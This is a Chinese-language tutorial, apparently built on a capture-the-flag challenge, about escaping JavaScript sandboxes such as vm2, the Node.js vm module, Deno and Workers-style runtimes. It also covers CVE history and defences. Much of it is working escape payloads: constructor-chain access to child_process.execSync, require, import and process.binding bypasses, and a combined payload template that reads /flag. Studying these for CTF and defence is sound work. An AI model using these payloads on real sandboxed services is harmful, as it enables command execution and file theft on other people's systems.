前言
JavaScript 沙箱(Sandbox)是一种隔离执行环境,用于安全地运行不受信任的代码。在现代 Web 和边缘计算中,沙箱技术被广泛应用于:
- Cloudflare Workers —— 边缘函数运行时
- Deno Deploy —— 基于 V8 隔离机制的云函数
- vm2 / isolated-vm —— Node.js 服务端代码隔离
- SES (Secure ECMAScript) —— 基于 Compartment 的硬隔离
- QuickJS / Duktape —— 轻量级嵌入式 JS 引擎
- Web Worker / iframe sandbox —— 浏览器端隔离
沙箱的核心目标是限制代码对危险 API 的访问(如文件系统 fs、进程管理 child_process、网络底层 net),但沙箱自身也是代码——实现中的漏洞可能导致逃逸。
本文从沙箱信息收集讲起,覆盖内部运行时劫持、原型链逃逸、构造函数利用、import 绕过等多种实战技巧。
一、沙箱基础与信息收集
1.1 沙箱的实现层次
1 2 3 4 5 6 7 8 9
| ┌──────────────────────────────────────────────────────┐ │ 用户代码(受限) │ │ ↓ 只能访问白名单 API │ │ V8 Isolate / ShadowRealm / Compartment │ │ ↓ 与宿主隔离 │ │ 宿主环境(Node.js / Deno / Workers Runtime) │ │ ↓ 完整系统访问 │ │ 操作系统 │ └──────────────────────────────────────────────────────┘
|
不同沙箱的实现深度差异很大:
| 沙箱 |
隔离方式 |
危险性 |
| SES / Hardened JS |
Compartment + 冻结全局对象 |
低(真正的硬隔离) |
| Cloudflare Workers |
V8 Isolate + 自定义 globalThis |
中(看内部 API 暴露程度) |
| Deno Deploy |
V8 Isolate + 权限模型 |
中 |
| vm2 (Node.js) |
Proxy 代理 + 自定义 Context |
中高(历史漏洞多) |
| Node.js vm 模块 |
纯 JS Context 包装 |
高(不是安全机制!) |
eval() / Function() |
无隔离 |
极高 |
Node.js 官方文档明确声明:**vm 模块不是安全机制,不要用它运行不可信代码。**
1.2 信息收集:枚举可用全局对象
进入沙箱后,第一步永远是摸清环境——看看有哪些全局变量、内置函数和模块可用。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| Object.getOwnPropertyNames(globalThis)
Object.getOwnPropertyNames(this)
function getAllProps(obj, depth = 0) { if (depth > 3 || obj === null || obj === undefined) return; const props = Object.getOwnPropertyNames(obj); console.log(`[depth ${depth}] ${props.join(', ')}`); const proto = Object.getPrototypeOf(obj); if (proto !== null && proto !== Object.prototype) { getAllProps(proto, depth + 1); } } getAllProps(globalThis);
|
1.3 搜索沙箱中的已知模块
原题场景:沙箱暴露了 __runtime 全局对象,通过它可以直接访问底层原生模块。
1 2 3 4 5 6 7 8 9 10
| export default { async fetch(request) { let s = __runtime;
let keys = Object.getOwnPropertyNames(s); return new Response(JSON.stringify(keys)); } }
|
返回的模块列表中可能包含内部 API(如 _internal、lib、native、syscall 等),这些都是后续逃逸的入口点。
1.4 通用信息收集 Payload 集合
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| Object.getOwnPropertyNames(this) Reflect.ownKeys(this)
typeof require typeof import typeof process
typeof Function typeof Proxy typeof Symbol
Object.keys(this).filter(k => k.startsWith('_')) Object.keys(this).filter(k => k.startsWith('internal')) Object.keys(this).filter(k => k.startsWith('__'))
Object.getOwnPropertyNames(Object.prototype) Object.getOwnPropertyNames(Function.prototype)
navigator?.userAgent typeof Deno !== 'undefined' typeof __runtime !== 'undefined' typeof globalThis.vm2Main
|
二、内部运行时劫持 —— 访问被隐藏的 API
这是原题的核心技术:沙箱虽然 ban 了 fs、child_process 等顶层模块,但底层原生函数仍然存在于运行时内部对象中,只是函数名被混淆了。
2.1 原理
1 2 3 4 5 6 7 8 9 10 11 12 13
| 沙箱暴露的 API: fetch() ✓ Response() ✓ console.log() ✓ require('fs') ✗ ← 被 ban
内部运行时仍保存的: __runtime._internal.lib.symbols = { _0x636174: <native: cat>, ← 函数名被混淆 _0x72656164: <native: read>, ← 但实际功能完整 _0x65786563: <native: exec>, ... }
|
沙箱的过滤发生在表层——它移除或拦截了 globalThis 上的 require、fs 等引用,但没有彻底删除底层的 C++ binding。如果攻击者能找到内部运行时对象并定位到混淆后的函数名,就能绕过限制调用原生函数。
2.2 定位内部 API
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| const runtime = __runtime;
const internal = runtime['_internal']; const lib = internal['lib']; const symbols = lib['symbols'];
Object.keys(symbols).forEach(key => { console.log(key + ' → ' + typeof symbols[key]); });
|
2.3 调用被混淆的原生函数 —— 读取文件
原文 Payload 解析:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| export default { async fetch(request) { let out = {};
let s = __runtime['_internal']['lib']['symbols'];
let f = s['_0x72656164'];
let arr = new Uint8Array([47, 102, 108, 97, 103]);
out.flag = f(arr);
let safeOut = JSON.stringify(out); return new Response(safeOut, { headers: { "Content-Type": "application/json" } }); } }
|
逐行技术分析:
| 步骤 |
代码 |
说明 |
| 获取符号表 |
__runtime['_internal']['lib']['symbols'] |
访问沙箱隐藏的内部符号表,用 ['_internal'] 括号语法绕过属性名检查 |
| 定位目标函数 |
s['_0x72656164'] |
通过混淆后的 key 定位到原生 read 函数。0x72656164 是 hex 编码的 read |
| 构造参数 |
new Uint8Array([47, 102, 108, 97, 103]) |
构造字节数组传参,最终读取 /flag |
为什么用 Uint8Array 而不是字符串 "/flag"? 沙箱可能拦截了字符串参数的传递。Uint8Array 作为二进制参数直接交给 C++ binding 处理,绕过了 JS 层的字符串过滤。
2.4 函数名混淆解码
_0x72656164 这类混淆名实际上就是函数名的 hex 编码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| function decodeHex(name) { const hex = name.replace('_0x', ''); let result = ''; for (let i = 0; i < hex.length; i += 2) { result += String.fromCharCode(parseInt(hex.substr(i, 2), 16)); } return result; }
console.log(decodeHex('_0x72656164')); console.log(decodeHex('_0x636174')); console.log(decodeHex('_0x7772697465'));
function encodeHex(name) { let hex = ''; for (let c of name) { hex += c.charCodeAt(0).toString(16).padStart(2, '0'); } return '_0x' + hex; }
console.log(encodeHex('exec')); console.log(encodeHex('read')); console.log(encodeHex('open'));
|
如果沙箱给出了符号表,可以用解码脚本快速找出 exec、spawn、open 等危险函数的混淆名。
三、原型链逃逸
即使沙箱清理了 globalThis,JavaScript 的原型链仍然通向危险对象。
3.1 通过 constructor 链获取 Function 构造器
1 2 3 4 5 6 7 8
| const func = {}.constructor.constructor;
func('return process')().mainModule.require('child_process').execSync('id').toString();
|
链式分解:
1 2 3 4
| {}.constructor → Object → Object.constructor → Function → new Function('return process')() → 拿到 Node.js process → process.mainModule.require('child_process') → 执行任意命令
|
3.2 其他原型链入口
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| ''.constructor.constructor('return this')()
[].constructor.constructor('return this')()
/./.constructor.constructor('return this')()
Promise.resolve().constructor.constructor('return this')()
(async()=>{}).constructor.constructor('return this')()
Proxy.constructor.constructor('return this')()
|
3.3 突破 Function 被删除的情况
有些沙箱会 delete Function 或设置 Function = undefined。此时可以通过以下路径恢复:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| function* gen() {} const Function = gen.constructor.constructor;
const AsyncFunction = Object.getPrototypeOf(async function(){}).constructor; const Function = AsyncFunction.constructor;
const Function = Proxy.constructor.constructor;
const bound = (function(){}).bind(null); const Function = bound.constructor.constructor;
|
四、通过 import() / require() 逃逸
4.1 require 被隐藏但未删除
1 2 3 4 5 6 7 8 9 10 11 12 13
| const require = process.mainModule.require; const fs = require('fs'); const flag = fs.readFileSync('/flag', 'utf8');
const req = module.constructor.prototype.require; const cp = req('child_process'); cp.execSync('cat /flag');
const m = new module.constructor(); m._compile('module.exports = require("child_process")', 'evil.js');
|
4.2 动态 import 绕过
1 2 3 4 5 6 7 8 9
| const fs = await import('fs');
const fs = await import('f' + 's'); const fs = await import(String.fromCharCode(102, 115));
const importUnsafe = globalThis.__lookupGetter__('__proto__').constructor.constructor('return import')();
|
4.3 Deno 环境绕过
1 2 3 4 5 6 7 8
| const cmd = Deno.run({ cmd: ['cat', '/flag'] });
const content = await Deno.readTextFile('/flag');
const resp = await fetch('http://127.0.0.1:8080/flag');
|
五、其他逃逸手法
5.1 process.binding() 直接调用 C++ 层
Node.js 中 process.binding() 可以直接访问 V8 的 C++ binding 层,绕过所有 JS 层过滤:
1 2 3 4 5
| const spawn_sync = process.binding('spawn_sync');
const fs_binding = process.binding('fs'); const flag = fs_binding.open('/flag', 0, 0o666);
|
5.2 WebAssembly 逃逸
1 2 3 4
| const wasmCode = new Uint8Array([0,97,115,109,1,...]); const module = new WebAssembly.Module(wasmCode); const instance = new WebAssembly.Instance(module);
|
5.3 Symbol / WeakMap 渗漏
1 2 3 4 5
| const symbols = Object.getOwnPropertySymbols(sandboxObject); symbols.forEach(sym => { console.log(sandboxObject[sym]); });
|
5.4 Error().stack 信息泄露
1 2 3 4
| try { throw new Error(); } catch(e) { console.log(e.stack); }
|
5.5 arguments.callee / arguments.caller
1 2 3 4
| function escape() { return arguments.callee.caller; }
|
5.6 RegExp 构造函数——$1–$9 信息泄露
1 2 3 4
| /a(b)c/.test('abc'); console.log(RegExp.$1); console.log(RegExp.input);
|
六、综合逃逸 Payload 模板
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47
| try { const func = {}.constructor.constructor; const proc = func('return process')(); const cp = proc.mainModule.require('child_process'); const result = cp.execSync('cat /flag').toString(); return new Response(result); } catch(e) { console.log('[1] Failed: ' + e.message); }
try { const symbols = __runtime['_internal']['lib']['symbols']; for (const key of Object.keys(symbols)) { if (typeof symbols[key] === 'function') { try { const arr = new Uint8Array([47, 102, 108, 97, 103]); const result = symbols[key](arr); if (result && typeof result === 'string' && result.includes('flag')) { return new Response(result); } } catch(e) { } } } } catch(e) { console.log('[2] Failed: ' + e.message); }
try { for (const key of Object.getOwnPropertyNames(globalThis)) { const val = globalThis[key]; if (val && typeof val === 'object') { for (const sub of Object.getOwnPropertyNames(val)) { if (sub.includes('child') || sub.includes('spawn') || sub.includes('exec')) { return new Response(JSON.stringify({ key, sub, type: typeof val[sub] })); } } } } } catch(e) { console.log('[3] Failed: ' + e.message); }
|
七、沙箱漏洞历史(CVE 汇总)
| CVE |
影响产品 |
逃逸方式 |
年份 |
| CVE-2023-37466 |
vm2 |
Proxy 绕过沙箱上下文 |
2023 |
| CVE-2023-32314 |
vm2 |
通过 Proxy + Error.prepareStackTrace |
2023 |
| CVE-2023-29017 |
vm2 |
Proxy + Symbol.toPrimitive |
2023 |
| CVE-2022-36067 |
vm2 |
Proxy + Symbol 原型链 |
2022 |
| CVE-2022-21804 |
vm2 |
then handler 异常处理绕过 |
2022 |
| CVE-2021-23555 |
vm2 |
WeakMap 原型链逃逸 |
2021 |
| CVE-2020-35669 |
isolate |
Function 构造器逃逸 |
2020 |
| — |
Cloudflare Workers (historical) |
内部符号表泄露 |
2020 |
这些 CVE 说明了一个规律:沙箱逃逸的核心方法集中在原型链操纵、Proxy 滥用、内部对象泄露、反射 API。没有沙箱是完美的。
八、防御措施
| 层面 |
措施 |
说明 |
| 架构 |
真正的进程级隔离(进程/容器),而非 JS 层隔离 |
isolated-vm、firecracker、gVisor |
| SES/Hardened JS |
使用 Compartment + 冻结原型链 |
基于 ECMAScript 提案的真正硬隔离 |
| 权限最小化 |
运行时不挂载任何文件系统和网络能力 |
类似 Docker 的 --read-only、--net=none |
| JS 层防御 |
删除 constructor、__proto__、constructor.constructor |
但总会有遗漏(见上方 CVE 列表) |
| JS 层防御 |
遍历并冻结 Object.prototype 和 Function.prototype |
阻止原型链逃逸 |
| JS 层防御 |
过滤 Uint8Array、TextEncoder 等二进制数据 API |
防止绕过字符串检测 |
| JS 层防御 |
移除或 Proxy 拦截所有 _internal / __ 前缀的属性 |
防止内部 API 泄露 |
| 监控 |
告警沙箱内的异常行为(尝试访问 _internal、constructor.constructor) |
即使被防御,也应记录日志 |
| 原则 |
永远不要依赖纯 JS 沙箱做安全边界 |
Node.js vm 文档已经在警告了 |
防御代码示例
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| import 'ses'; lockdown();
const compartment = new Compartment({ console: harden(console), fetch: harden(fetch), Math: harden(Math), JSON: harden(JSON) });
const result = compartment.evaluate(untrustedCode);
|
1 2 3 4 5 6 7 8
| delete globalThis.Function; delete globalThis.eval; Object.freeze(Object.prototype); Object.freeze(Function.prototype); delete Object.prototype.constructor; delete Object.prototype.__proto__;
|
参考